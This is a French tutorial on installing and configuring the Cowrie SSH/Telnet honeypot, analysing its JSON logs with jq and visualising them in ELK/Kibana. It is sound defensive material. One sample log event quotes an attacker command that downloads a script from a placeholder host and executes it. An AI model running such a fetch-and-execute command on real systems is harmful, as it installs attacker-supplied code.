Défense & threat intelligence

🍯 Honeypot avancé avec Cowrie

Cowrie simule un serveur SSH et Telnet vulnérable pour attirer, piéger et enregistrer les attaquants automatisés. Un excellent laboratoire d'analyse comportementale : on observe les techniques d'intrusion en conditions réelles, on collecte des IOCs et on renforce sa posture défensive. Ce guide couvre l'installation (dont Docker), la configuration, puis la lecture et l'analyse des logs JSON.

SSH / TelnetHoneypotLogs JSONELK / KibanaThreat IntelligenceBlue Team

Principe & schéma

Cowrie est un honeypot à moyenne interaction : il émule un vrai shell Unix (commandes, système de fichiers factice, téléchargements) sans jamais exposer votre machine réelle. L'attaquant croit avoir compromis un serveur, exécute ses commandes habituelles, et chacune de ses actions est journalisée pour analyse.

Le flux se résume en trois temps : l'attaquant cible un service exposé, le honeypot le leurre et enregistre tout, puis vous exploitez les logs collectés.

┌──────────────┐        ┌─────────────────────────┐        ┌────────────────────┐
│   ATTAQUANT   │        │   HONEYPOT COWRIE        │        │      ANALYSE       │
│               │        │   (votre infra isolée)   │        │                    │
│ • bruteforce  │──SSH──▶│ • faux shell SSH/Telnet  │──logs─▶│ • parsing JSON     │
│ • bots/scans  │ 22/2222│ • FS factice, commandes  │ JSON   │ • géoloc des IP    │
│ • malwares    │◀──────▶│ • capture des payloads   │        │ • IOCs / TTPs      │
│               │ leurre │ • enregistre la session  │        │ • dashboards ELK   │
└──────────────┘        └─────────────────────────┘        └────────────────────┘
     Curieux            Aucun accès à la vraie machine        Renforcement défensif
🔬 À retenir : tout ce qui entre dans le honeypot est du signal. Aucune connexion légitime ne devrait viser ce système : chaque paquet reçu est, par construction, suspect.

🛠️ Au programme

J'ai installé, pour tester, un honeypot afin de comprendre et identifier certaines attaques, repérer les actions récurrentes et observer comment les attaquants agissent sur un serveur SSH. Un excellent exercice de surveillance proactive et d'analyse comportementale des threat actors.

🐳Installation

Déploiement sur une VM, en natif ou via Docker : mise en route rapide, isolation complète et gestion simple des versions.

🔐Configuration du leurre

Faux accès SSH avec mots de passe faibles pour attirer le bruteforce et simuler un système Ubuntu/CentOS crédible.

📊Enregistrement

Journalisation complète des commandes, géolocalisation des IP source, capture des payloads et des fichiers transférés.

🌐Trafic réseau

Suivi des connexions initiées depuis le honeypot pour détecter des communications C&C et l'infrastructure adverse.

🕵️Analyse comportementale

Ma partie favorite : schémas récurrents, TTPs (Tactics, Techniques, Procedures) et documentation des méthodes observées.

📈Visualisation

Exploitation des logs dans une stack ELK / Kibana pour des tableaux de bord et de l'alerting en temps réel.

Installation pas-à-pas (native)

Cowrie s'installe idéalement sur une VM dédiée (Debian/Ubuntu), sous un utilisateur non privilégié. Il ne doit jamais tourner en root. Suivez les étapes dans l'ordre.

1. Dépendances système

Installez Python, les outils de compilation et virtualenv.

sudo apt update && sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
2. Utilisateur dédié

Créez un compte de service sans privilèges pour cloisonner le honeypot.

sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie
3. Récupération du code

Clonez le dépôt officiel du projet.

git clone https://github.com/cowrie/cowrie.git
cd cowrie
4. Environnement virtuel Python

Isolez les dépendances dans un virtualenv puis installez-les.

python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip && pip install -r requirements.txt
5. Fichier de configuration

Partez du modèle fourni : Cowrie lit cowrie.cfg en priorité, sans écraser le dist.

cp etc/cowrie.cfg.dist etc/cowrie.cfg
6. Démarrage

Lancez le honeypot, vérifiez son état, puis consultez les logs.

bin/cowrie start
bin/cowrie status
7. Rediriger le port 22 → 2222

Cowrie écoute sur 2222 (non privilégié). Redirigez le vrai port 22 via iptables pour recevoir les scans opportunistes, tout en gardant votre SSH d'admin sur un autre port.

sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
⚠️ Avant la redirection : déplacez votre SSH d'administration réel sur un autre port (ex. 2022) et filtrez-le par IP, sinon vous perdez l'accès à la VM.

🐳 Déploiement Docker (option rapide)

Docker offre le déploiement le plus rapide et le meilleur cloisonnement. L'image officielle est prête à l'emploi ; montez un volume persistant pour conserver les logs.

docker pull cowrie/cowrie:latest

Récupère l'image officielle la plus récente de Cowrie.

docker run -d --name cowrie -p 2222:2222 -p 2223:2223 -v $(pwd)/cowrie-logs:/cowrie/cowrie-git/var/log/cowrie cowrie/cowrie:latest

Lance le conteneur en tâche de fond, expose SSH (2222) et Telnet (2223) et persiste les logs sur l'hôte.

docker logs -f cowrie

Suit en direct la sortie du conteneur pour vérifier le démarrage.

Pour orchestrer Cowrie avec une stack d'analyse, un docker-compose.yml minimal :

services:
  cowrie:
    image: cowrie/cowrie:latest
    restart: unless-stopped
    ports:
      - "2222:2222"   # SSH émulé
      - "2223:2223"   # Telnet émulé
    volumes:
      - ./cowrie-logs:/cowrie/cowrie-git/var/log/cowrie
      - ./cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg
    networks: [honeynet]

networks:
  honeynet:
    driver: bridge   # réseau dédié, isolé du reste
docker compose up -d

Démarre l'ensemble de la stack décrite dans le fichier compose.

💡 Bonnes pratiques Docker : volumes persistants pour les logs, réseau bridge dédié isolé du LAN, conteneur en read-only quand c'est possible, et aucune capacité privilégiée (--cap-drop ALL).

🔐 Configuration & stratégies de leurre

Toute la personnalisation se fait dans etc/cowrie.cfg et dans les fichiers d'authentification. L'objectif : un leurre assez crédible pour tromper les bots comme les attaquants manuels.

🎣 Rendre le leurre crédible

  • Comptes à mots de passe évidents : root/123456, admin/admin.
  • Nom d'hôte et bannière SSH réalistes (ex. serveur Ubuntu).
  • Système de fichiers factice peuplé (fake filesystem).
  • Service Telnet activé en parallèle pour les botnets IoT.

⚙️ Paramètres clés

  • [ssh] enabled = true et port 2222.
  • [telnet] enabled = true sur 2223.
  • [output_jsonlog] pour le journal exploitable.
  • hostname et kernel_version crédibles.

La politique d'authentification (quels couples login/mot de passe sont acceptés) se règle via userdb.txt :

cp etc/userdb.example etc/userdb.txt

Crée la base d'utilisateurs à partir de l'exemple fourni.

# etc/userdb.txt — format : login:x:mot_de_passe
root:x:123456
root:x:password
admin:x:admin
# '*' accepte n'importe quel mot de passe pour ce login
root:x:*
# '!' refuse explicitement (utile pour observer les échecs)
root:x:!root

Après toute modification, redémarrez le honeypot pour appliquer la configuration :

bin/cowrie restart

Recharge la configuration et relance les services d'écoute.

📝 Astuce : laisser passer quelques couples faibles (mais pas tous) rend le leurre plus réaliste — un service qui accepte tout éveille les soupçons des attaquants avancés.

📄 Lecture & analyse des logs JSON

Cowrie écrit deux journaux principaux dans var/log/cowrie/ : cowrie.log (texte lisible) et surtout cowrie.json — une ligne JSON par événement, idéale pour l'automatisation. Chaque événement porte un champ eventid qui décrit sa nature.

Un événement de connexion et une tentative de login ressemblent à ceci :

{"eventid":"cowrie.session.connect", "src_ip":"185.234.219.x",
 "src_port":52344, "dst_port":2222, "session":"a1b2c3",
 "timestamp":"2026-08-25T02:14:07Z"}
{"eventid":"cowrie.login.success", "username":"root",
 "password":"123456", "src_ip":"185.234.219.x", "session":"a1b2c3"}
{"eventid":"cowrie.command.input",
 "input":"wget http://malic.example/x.sh; chmod +x x.sh; ./x.sh",
 "src_ip":"185.234.219.x", "session":"a1b2c3"}

Les événements les plus utiles à filtrer :

  • cowrie.session.connect — nouvelle connexion (IP, port, session).
  • cowrie.login.success / cowrie.login.failed — couples login/mot de passe testés.
  • cowrie.command.input — chaque commande tapée par l'attaquant.
  • cowrie.session.file_download — fichiers/malwares récupérés (avec hash).
  • cowrie.client.version — empreinte du client SSH (fingerprinting du bot).

Quelques commandes d'analyse en ligne, avec jq :

jq -r 'select(.eventid=="cowrie.command.input") | .input' var/log/cowrie/cowrie.json

Extrait toutes les commandes tapées par les attaquants, une par ligne.

jq -r 'select(.eventid=="cowrie.login.success") | "\(.username):\(.password)"' var/log/cowrie/cowrie.json | sort | uniq -c | sort -rn

Classe les couples login/mot de passe réussis par fréquence.

jq -r 'select(.eventid=="cowrie.session.connect") | .src_ip' var/log/cowrie/cowrie.json | sort | uniq -c | sort -rn | head -20

Donne le top 20 des adresses IP source les plus actives.

jq -r 'select(.eventid=="cowrie.session.file_download") | .shasum' var/log/cowrie/cowrie.json | sort -u

Liste les empreintes SHA des fichiers déposés — à soumettre à VirusTotal.

tail -f var/log/cowrie/cowrie.json | jq .

Suit les événements en temps réel avec une mise en forme lisible.

🔎 IOCs faciles à extraire : IP source, hashes des payloads, URLs de téléchargement, dictionnaires de mots de passe et versions de clients SSH — autant d'indicateurs directement réutilisables dans vos règles de détection.

🕵️ Analyse comportementale

Une fois les logs collectés, l'objectif est de dégager des schémas récurrents et d'identifier les TTPs (Tactics, Techniques, Procedures) des attaquants observés.

⏱️Temporalité

Heures de pointe des campagnes, pics de bruteforce et répartition géographique des sources.

🛠️Outillage

Frameworks et scripts employés (scanners, droppers, scripts custom) reconnaissables aux commandes tapées.

🎯Objectifs

Finalités visées : cryptomining, enrôlement dans un botnet, vol de données, rebond.

📦Payloads

Analyse des fichiers déposés, des URLs de C&C et des tentatives d'exfiltration.

🔁Séquences

Enchaînements types : reconnaissance système, désactivation de sécurité, persistance.

🌐Communications sortantes

Domaines contactés et serveurs de commande révélés par les connexions initiées.

🚨 Ne jamais exécuter : les payloads déposés dans le honeypot sont de vrais malwares. Analysez-les uniquement dans un bac à sable isolé, jamais sur une machine de production.

📈 Visualisation ELK / Kibana

Le format JSON de Cowrie s'ingère naturellement dans une stack ELK (Elasticsearch + Logstash + Kibana). L'idée : envoyer les événements vers Elasticsearch, puis construire des dashboards Kibana pour visualiser l'activité.

1. Sortie native Elasticsearch

Cowrie peut écrire directement dans Elasticsearch via son plugin de sortie (section [output_elasticsearch] du cowrie.cfg), ou passer par Filebeat/Logstash qui lisent cowrie.json.

2. Ingestion via Filebeat

Filebeat suit le fichier JSON et l'expédie vers Logstash/Elasticsearch, avec parsing du timestamp et enrichissement géographique.

filebeat setup && filebeat -e
3. Enrichissement GeoIP

Un filtre geoip dans Logstash transforme chaque src_ip en coordonnées pour une carte des attaques.

4. Dashboards Kibana

Des dashboards Cowrie prêts à l'emploi existent sur GitHub : carte mondiale des sources, top mots de passe, top commandes, timeline des sessions, top pays.

Idées de visualisations pertinentes :

  • Carte géographique en temps réel des IP attaquantes (GeoIP).
  • Nuage / histogramme des mots de passe les plus tentés.
  • Top des commandes exécutées après compromission.
  • Timeline des connexions pour repérer les campagnes coordonnées.
  • Tableau des fichiers téléchargés avec leurs hashes (pivot IOC).
  • Alerting Kibana/Grafana sur des activités critiques (dépôt de binaire, C&C connu).

Autres solutions de visualisation possibles selon le contexte :

Elastic Stack

Logstash + Elasticsearch + Kibana : analyse granulaire et cartographie, la voie recommandée pour débuter (gratuite).

Wazuh

SIEM open-source avec tableaux de bord adaptés aux honeypots et corrélation d'alertes.

Grafana

Dashboards personnalisés et alerting en temps réel au-dessus d'Elasticsearch ou d'une base de séries temporelles.

Splunk

Solution entreprise avec apps dédiées à la threat intelligence pour les environnements déjà équipés.

💡 Recommandation : commencez avec la stack ELK et les dashboards préconfigurés pour Cowrie disponibles sur GitHub, avant d'investir dans une solution plus lourde.

🎯 L'intérêt stratégique

Comprendre les techniques adverses en conditions réelles, collecter des données sur des attaques authentiques, et affiner ses défenses en fonction des menaces réellement observées.

Ce que ça apporte

  • Threat Intelligence : nouveaux IOCs et TTPs.
  • Formation SOC : cas d'usage réels pour les équipes.
  • Amélioration défensive : adaptation des règles de détection.
  • Veille : observation de l'évolution des techniques.

Ce que ça révèle

  • Les dictionnaires de mots de passe en circulation.
  • Les commandes de reconnaissance systématiques.
  • L'infrastructure de distribution des malwares.
  • Les serveurs de Command & Control actifs.

💡 Conseils d'expert

📝 Astuce Pro : placez aussi une instance sur un port non standard (ex. 2222 sans redirection depuis 22) pour filtrer les scripts basiques et observer des attaques plus ciblées.

🔧 Optimisations

  • Segmentation réseau : isolez totalement le honeypot.
  • Rotation des logs : évitez la saturation du stockage.
  • Alerting intelligent sur les activités critiques.
  • Sauvegarde régulière des données d'analyse.

🛡️ Sécurité du dispositif

  • Jamais de connexion sortante libre depuis le leurre.
  • Cowrie tourne sous un compte non privilégié.
  • SSH d'administration sur un autre port, filtré par IP.
  • Bac à sable séparé pour analyser les payloads.
⚠️ Rappel : déployez ce honeypot uniquement dans un environnement contrôlé, sur votre propre infrastructure. On observe, on apprend, on améliore ses défenses — sans jamais riposter ni relayer d'attaque.